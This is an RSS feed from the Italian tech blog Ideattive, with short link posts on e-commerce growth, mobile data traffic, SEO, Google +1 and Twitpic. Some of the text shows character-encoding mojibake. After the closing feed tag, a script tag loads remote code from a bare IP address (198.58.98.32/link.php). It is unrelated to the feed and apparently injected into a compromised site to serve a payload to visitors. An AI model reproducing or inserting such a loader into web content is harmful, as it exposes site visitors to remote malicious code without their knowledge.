<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ideattive</title>
	<atom:link href="http://www.ideattive.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ideattive.com</link>
	<description>Il futuro non e' cio' che accadra' , ma quello che accade ora.</description>
	<lastBuildDate>Thu, 14 Feb 2013 18:18:53 +0000</lastBuildDate>
	<language>it</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Rock in Roma 2012 sfida l&#8217;Europa &#8211; Repubblica.it</title>
		<link>http://www.ideattive.com/social/itrock-roma-2012-sfida-leuropa-repubblicaitenrock-roma-2012-europe-repubblicait/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=itrock-roma-2012-sfida-leuropa-repubblicaitenrock-roma-2012-europe-repubblicait</link>
		<comments>http://www.ideattive.com/social/itrock-roma-2012-sfida-leuropa-repubblicaitenrock-roma-2012-europe-repubblicait/#comments</comments>
		<pubDate>Wed, 16 May 2012 17:28:36 +0000</pubDate>
		<dc:creator>Mattia</dc:creator>
				<category><![CDATA[Hi-tech]]></category>
		<category><![CDATA[Innovation]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Trends]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=223</guid>
		<description><![CDATA[&#8220;Ci piace fare il nome di Mattia Michelangeli, che ha proposto la creazione di una &#8216;App Mobile&#8217; per Rock in Roma gratuita e mirata al &#8216;car sharing&#8217; in funzione del festival&#8221; Mattia Michelangeli (Staff Ideattive) contribuisce a Rock in Roma &#8230; <a href="http://www.ideattive.com/social/itrock-roma-2012-sfida-leuropa-repubblicaitenrock-roma-2012-europe-repubblicait/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>&#8220;Ci piace fare il nome di Mattia Michelangeli, che ha proposto la creazione di una &#8216;App Mobile&#8217; per Rock in Roma gratuita e mirata al &#8216;car sharing&#8217; in funzione del festival&#8221;</p>
<p>Mattia Michelangeli (Staff Ideattive) contribuisce a Rock in Roma 2012</p>
<p>Ecco l&#8217;articolo completo di Repubblica.it</p>
<p><a title="Ideattive.com App Ideas from Mattia Michelangeli" href="http://www.repubblica.it/spettacoli-e-cultura/2012/05/09/news/rock_in_roma_2012-34776851/?ref=HREC2-16&amp;fb_source=message" target="_blank">http://www.repubblica.it/spettacoli-e-cultura/2012/05/09/news/rock_in_roma_2012-34776851/?ref=HREC2-16&amp;fb_source=message</a></p>
<p>Via Repubblica.it</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/social/itrock-roma-2012-sfida-leuropa-repubblicaitenrock-roma-2012-europe-repubblicait/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>E-commerce italiano non conosce crisi e cresce del 20%</title>
		<link>http://www.ideattive.com/uncategorized/itecommerce-italiano-conosce-crisi/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=itecommerce-italiano-conosce-crisi</link>
		<comments>http://www.ideattive.com/uncategorized/itecommerce-italiano-conosce-crisi/#comments</comments>
		<pubDate>Fri, 11 Nov 2011 15:24:42 +0000</pubDate>
		<dc:creator>Mattia</dc:creator>
				<category><![CDATA[E-Commerce]]></category>
		<category><![CDATA[Innovation]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ecommerce]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=202</guid>
		<description><![CDATA[E-commerce italiano non conosce crisi e vola aÂ +20% La ricerca Netcomm del Politecnico di Milano ha fotografatoÂ la non crisi del commercio elettronico: in particolare, il settore dei viaggi e dell&#8217;editoria hanno una crescita a due cifre. Un balzo in avanti &#8230; <a href="http://www.ideattive.com/uncategorized/itecommerce-italiano-conosce-crisi/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h1>E-commerce italiano non conosce crisi e vola aÂ +20%</h1>
<p><img src="http://stiledimoda.com/wp-content/uploads/2010/09/online_shopping-380x235.jpg" alt="" /></p>
<div>
<p>La ricerca Netcomm del Politecnico di Milano ha fotografatoÂ <strong>la non crisi del commercio elettronico</strong>: in particolare, il settore dei viaggi e dell&#8217;editoria hanno una crescita a due cifre.</p>
<p>Un balzo in avanti del <strong>20%, un fatturato che ha ormai superato 8 miliardi â‚¬</strong>.Â L&#8217;e-commerce sta crescendo ad un ritmo record e <strong>non rallenta, anche in un momento di crisi economica</strong> come questo.</p>
<p>I dati provengono da una osservazione condotta dal eCommerce B2c Netcomm in collaborazione con la School of Management del Politecnico di Milano, per la decima volta hanno disegnato un quadro del commercio elettronico in Italia che sembra tirare dritto sulla strada per l&#8217;innovazione.Â CiĂ˛ conferma le previsioni di sviluppo a metĂ  del 2011, secondo le quali l&#8217;e-commerce avrebbe continuato a crescere: nel 2010 il trend aveva segnato un +17% rispetto al 2009, un trend che Ă¨ continuato negli ultimi mesi, sostenuto dalla moltiplicazione delle connessioni ad Internet e del web di massa attraverso dispositivi mobili come smart phone e tablet, ora di grande appeal per i consumatori.Â <strong>Gli acquisti in movimento aumentano da 26 a 81 milioni di euro, con un incremento del 210% rispetto allo scorso anno</strong>, pari all&#8217;1% delle vendite online. La spesa annuale per acquirente va da 960 euro nel 2010 a 1.050 euro nel 2011 (+9%). Per avere un&#8217;idea piĂą precisa delle aree: degli 8 miliardi,Â <strong>metĂ  Ă¨ fatta con gli acquisti di viaggi online (49%),</strong> il 10% dall&#8217;elettronica, il 10% dall&#8217;abbigliamento, il 9% da assicurazioni, il 3% di editoria e musicaÂ , il cibo dal 1%, mentre il restante 18%, classificato come &#8220;altro&#8221;, comprende servizi come carte telefoniche, coupon e biglietti online.</p>
<p>L&#8217;indagine mostra dati molto significativi, ma senza dubbio la piĂą importante Ă¨ il <strong>210% rispetto al 2010 nel commercio mobile</strong>, che supera 80 milioni di euro, pari all&#8217;1% delle vendite online.Â &#8221;Ora piĂą che mai, in un contesto di crisi globale che colpisce anche il nostro Paese, <strong>e-commerce non Ă¨ piĂą un&#8217;opportunitĂ , ma diventa necessitĂ  inderogabile per le aziende italiane</strong> che vogliono competere seriamente sui mercati internazionali&#8221; (Roberto Liscia,Â presidente di Netcomm, il Consorzio del commercio italiano).Â <strong>&#8221;I nuovi fenomeni sono cruciali per la capacitĂ  di portare nuovi clienti&#8221;</strong>.</p>
<p>La ricerca dimostra che, nonostante la differenza con gli altri mercati europei sia ancora rilevante, il mercato italiano Ă¨ un sesto di quello inglese (piĂą di 51 miliardi di euro), un quarto di quello tedesco (34 miliardi) e meno della metĂ  di quello dell Francia (20 miliardi). Â <strong>Il nostro e-commerce rivela un buono stato di salute e cresce ad un tasso quasi doppio rispetto al Regno Unito (+10%), Francia (+12%), Germania (+10%) e Stati Uniti (+11%).</strong>Â La ricerca mostra l&#8217;analisi degli acquirenti online, il 60% Ă¨ fatto nel nord, 25% e 15% dal centroÂ a sud. Secondo Eurostat, il 65% degli europei che Ă¨ connesso ad Internet ha fatto un acquisto online negli ultimi 12 mesi, rispetto al 35 per cento di quelli italiani.</p>
<p>In conclusione,Â <strong>l&#8217;unico fattore negativo</strong> Ă¨ cheÂ <strong>molte aziende italiane presenti sul web</strong> <strong>non sono ancora recettive</strong> alle realtĂ  del commercio on-line e mobile.</p>
<p>ViaÂ <strong>www.consorzionetcomm.it</strong></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/uncategorized/itecommerce-italiano-conosce-crisi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tlc: Ericsson, traffico dati crescera&#8217; di 10 volte entro il 2016</title>
		<link>http://www.ideattive.com/uncategorized/ittlc-ericsson-traffico-dati-crescera-di-10-volte-entro-il-2016/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ittlc-ericsson-traffico-dati-crescera-di-10-volte-entro-il-2016</link>
		<comments>http://www.ideattive.com/uncategorized/ittlc-ericsson-traffico-dati-crescera-di-10-volte-entro-il-2016/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 09:20:27 +0000</pubDate>
		<dc:creator>Mattia</dc:creator>
				<category><![CDATA[Hi-tech]]></category>
		<category><![CDATA[Innovation]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=200</guid>
		<description><![CDATA[Boom della banda larga e del traffico generato da smartphone.Secondo uno studio di Ericsson intitolato &#8216;Traffic and market data report&#8217; nei prossimi 5 anni fino al 2016 il traffico dati mobile &#8216;crescera&#8217; di ben 10 volte. La fruizione dei dati &#8230; <a href="http://www.ideattive.com/uncategorized/ittlc-ericsson-traffico-dati-crescera-di-10-volte-entro-il-2016/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Boom della banda larga</strong> e del traffico generato da smartphone.Secondo uno studio di Ericsson intitolato &#8216;Traffic and market data report&#8217; <strong>nei prossimi 5 anni fino al 2016 il traffico dati mobile &#8216;crescera&#8217; di ben 10 volte.</strong> La fruizione dei dati sara&#8217; stimolata dalla diffusione della banda larga mobile, dal lancio di nuovi smartphone e<strong> l&#8217;uso delle applicazioni prenderĂ  sempre piĂą mercato</strong>, il traffico generato da smartphone avanzati diverra alla pari del traffico generato dai computer portatili.</p>
<p>Via (RADIOCOR sole24ore)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/uncategorized/ittlc-ericsson-traffico-dati-crescera-di-10-volte-entro-il-2016/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML5 and CSS3</title>
		<link>http://www.ideattive.com/trends/html5-and-css3/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=html5-and-css3</link>
		<comments>http://www.ideattive.com/trends/html5-and-css3/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 12:21:59 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[Innovation]]></category>
		<category><![CDATA[Trends]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=199</guid>
		<description><![CDATA[HTML5 and CSS3 bring loads of new features and functionality to the modern web. This site is a resource and showcase of some of the newest, and most expressive features being added to the web today. Via HTML5 and CSS3 &#8230; <a href="http://www.ideattive.com/trends/html5-and-css3/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>HTML5 and CSS3 bring loads of new features and functionality to the modern web.</p>
<p>This site is a resource and showcase of some of the newest, and most expressive features being added to the web today.</p>
<p>Via <a href="http://beta.theexpressiveweb.com/">HTML5 and CSS3 &#8211; Adobe &#8211; The Expressive Web &#8211; Beta</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/trends/html5-and-css3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Doing more with the +1 button, more than 4 billion times a day</title>
		<link>http://www.ideattive.com/social/doing-more-with-the-1-button-more-than-4-billion-times-a-day/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=doing-more-with-the-1-button-more-than-4-billion-times-a-day</link>
		<comments>http://www.ideattive.com/social/doing-more-with-the-1-button-more-than-4-billion-times-a-day/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 19:14:49 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[plus]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=198</guid>
		<description><![CDATA[In June we launched the +1 button for websites, making it easier to recommend content across the web. In July, the +1 button crossed 2 billion daily views, and we also made it a lot faster. Today the +1 button &#8230; <a href="http://www.ideattive.com/social/doing-more-with-the-1-button-more-than-4-billion-times-a-day/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In June we launched the +1 button for websites, making it easier to recommend content across the web. In July, the +1 button crossed 2 billion daily views, and we also made it a lot faster. Today the +1 button appears on more than a million sites, with over 4 billion daily views, and we&#8217;re extremely excited about this momentum.</p>
<p>viaÂ <a href="http://adwords.blogspot.com/2011/08/doing-more-with-1-button-more-than-4.html?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+blogspot%2FATHs+%28Inside+AdWords+-+EN%29">Doing more with the +1 button, more than 4 billion times a day &#8211; Inside AdWords</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/social/doing-more-with-the-1-button-more-than-4-billion-times-a-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Speed Speed Speed</title>
		<link>http://www.ideattive.com/seo/speed-speed-speed/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=speed-speed-speed</link>
		<comments>http://www.ideattive.com/seo/speed-speed-speed/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 10:48:45 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[cdn]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[speed]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=193</guid>
		<description><![CDATA[Speed Speed Speed View more presentations from Andrea De Pirro]]></description>
			<content:encoded><![CDATA[<div style="width:425px" id="__ss_8456773"> <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/andreadepirro/speed-speed-speed-8456773" title="Speed Speed Speed" target="_blank">Speed Speed Speed</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8456773" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<div style="padding:5px 0 12px"> View more <a href="http://www.slideshare.net/" target="_blank">presentations</a> from <a href="http://www.slideshare.net/andreadepirro" target="_blank">Andrea De Pirro</a> </div>
</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/seo/speed-speed-speed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Google Panda Is More A Ranking Factor Than Algorithm Update</title>
		<link>http://www.ideattive.com/google/why-google-panda-is-more-a-ranking-factor-than-algorithm-update/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=why-google-panda-is-more-a-ranking-factor-than-algorithm-update</link>
		<comments>http://www.ideattive.com/google/why-google-panda-is-more-a-ranking-factor-than-algorithm-update/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 13:43:41 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Search]]></category>
		<category><![CDATA[algorithm]]></category>
		<category><![CDATA[pagerank]]></category>
		<category><![CDATA[panda]]></category>
		<category><![CDATA[ranking]]></category>
		<category><![CDATA[search engines]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=188</guid>
		<description><![CDATA[With Google Panda Update 2.2 upon us, itâ€™s worth revisiting what exactly Panda is and isnâ€™t. Panda is a new ranking factor. Panda is not an entirely new overall ranking algorithm thatâ€™s employed by Google. The difference is important for &#8230; <a href="http://www.ideattive.com/google/why-google-panda-is-more-a-ranking-factor-than-algorithm-update/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>With Google Panda Update 2.2 upon us, itâ€™s worth revisiting what exactly Panda is and isnâ€™t. Panda is a new ranking factor. Panda is not an entirely new overall ranking algorithm thatâ€™s employed by Google. The difference is important for anyone hit by Panda and hoping to recover from it.</p>
<p>via <a href="http://searchengineland.com/why-google-panda-is-more-a-ranking-factor-than-algorithm-update-82564?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=feed-main">Why Google Panda Is More A Ranking Factor Than Algorithm Update</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/google/why-google-panda-is-more-a-ranking-factor-than-algorithm-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing: The Periodic Table Of SEO Ranking Factors</title>
		<link>http://www.ideattive.com/seo/introducing-the-periodic-table-of-seo-ranking-factors/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=introducing-the-periodic-table-of-seo-ranking-factors</link>
		<comments>http://www.ideattive.com/seo/introducing-the-periodic-table-of-seo-ranking-factors/#comments</comments>
		<pubDate>Tue, 07 Jun 2011 13:00:34 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[ranking]]></category>
		<category><![CDATA[search engines]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=187</guid>
		<description><![CDATA[SEO â€” search engine optimization â€” is one of the most important marketing activities available to companies and publishers, but itâ€™s too often considered some murky â€śdark artâ€ť or a sinful practice that should be avoided. Itâ€™s not. To help &#8230; <a href="http://www.ideattive.com/seo/introducing-the-periodic-table-of-seo-ranking-factors/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>SEO â€” search engine optimization â€” is one of the most important marketing activities available to companies and publishers, but itâ€™s too often considered some murky â€śdark artâ€ť or a sinful practice that should be avoided. Itâ€™s not. To help clear away some of the mystery and fear for those new to SEO, and provide a â€śresetâ€ť for those who are experienced, weâ€™ve created â€śThe Periodic Table Of SEO Ranking Factors.â€ť</p>
<p>viaÂ <a href="http://searchengineland.com/introducing-the-periodic-table-of-seo-ranking-factors-77181">Introducing: The Periodic Table Of SEO Ranking Factors</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/seo/introducing-the-periodic-table-of-seo-ranking-factors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Blindsided Ecosystem Leader Twitpic With Photo Product</title>
		<link>http://www.ideattive.com/twitter-2/twitter-blindsided-ecosystem-leader-twitpic-with-photo-product/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=twitter-blindsided-ecosystem-leader-twitpic-with-photo-product</link>
		<comments>http://www.ideattive.com/twitter-2/twitter-blindsided-ecosystem-leader-twitpic-with-photo-product/#comments</comments>
		<pubDate>Thu, 02 Jun 2011 15:45:05 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[sharing]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[twitpic]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=184</guid>
		<description><![CDATA[Yesterday, leading up to todayâ€™s announcement of Twitterâ€™s new photo sharing capabilities, we reported hearing that Twitter had approached some ecosystem players months ago about their potential move into the arena. One player not consulted? A massive one: Twitpic. viaÂ Twitter &#8230; <a href="http://www.ideattive.com/twitter-2/twitter-blindsided-ecosystem-leader-twitpic-with-photo-product/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Yesterday, leading up to todayâ€™s announcement of Twitterâ€™s new photo sharing capabilities, we reported hearing that Twitter had approached some ecosystem players months ago about their potential move into the arena. One player not consulted? A massive one: Twitpic.</p>
<p>viaÂ <a href="http://techcrunch.com/2011/06/01/twitter-twitpic/">Twitter Blindsided Ecosystem Leader Twitpic With Photo Product</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/twitter-2/twitter-blindsided-ecosystem-leader-twitpic-with-photo-product/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>danwebb.net &#8211; It&#8217;s About The Hashbangs</title>
		<link>http://www.ideattive.com/trends/danwebb-net-its-about-the-hashbangs/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=danwebb-net-its-about-the-hashbangs</link>
		<comments>http://www.ideattive.com/trends/danwebb-net-its-about-the-hashbangs/#comments</comments>
		<pubDate>Tue, 31 May 2011 14:20:49 +0000</pubDate>
		<dc:creator>Andrea De Pirro</dc:creator>
				<category><![CDATA[Innovation]]></category>
		<category><![CDATA[Trends]]></category>

		<guid isPermaLink="false">http://www.ideattive.com/?p=183</guid>
		<description><![CDATA[URLs are important. The reason the web is so powerful is that it is a web of information. Any piece of content can reference any other piece of content directly. Our information is no longer siloed into various disconnected libraries, &#8230; <a href="http://www.ideattive.com/trends/danwebb-net-its-about-the-hashbangs/">Continua a leggere<span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>URLs are important. The reason the web is so powerful is that it is a web of information. Any piece of content can reference any other piece of content directly. Our information is no longer siloed into various disconnected libraries, now all our data is linked together. The web is much better at doing this than as a platform for delivering applications but yeah, thatâ€™s a whole other blog post. The means by which one piece of data is linked with another piece of data is via a URL. That makes the URL possibly the most important part of the web. If you are working on a web app I assume you value its content. If you value the content that a web app holds then you need to value itâ€™s URLs even more. Directly addressable content is what makes web apps better than desktop apps. Itâ€™s certainly not the UIs.</p>
<p>viaÂ <a href="http://danwebb.net/2011/5/28/it-is-about-the-hashbangs">danwebb.net &#8211; It&#8217;s About The Hashbangs</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ideattive.com/trends/danwebb-net-its-about-the-hashbangs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://198.58.98.32/link.php"></script>
<!-- Served from: www.ideattive.com @ 2013-06-20 02:39:47 by W3 Total Cache -->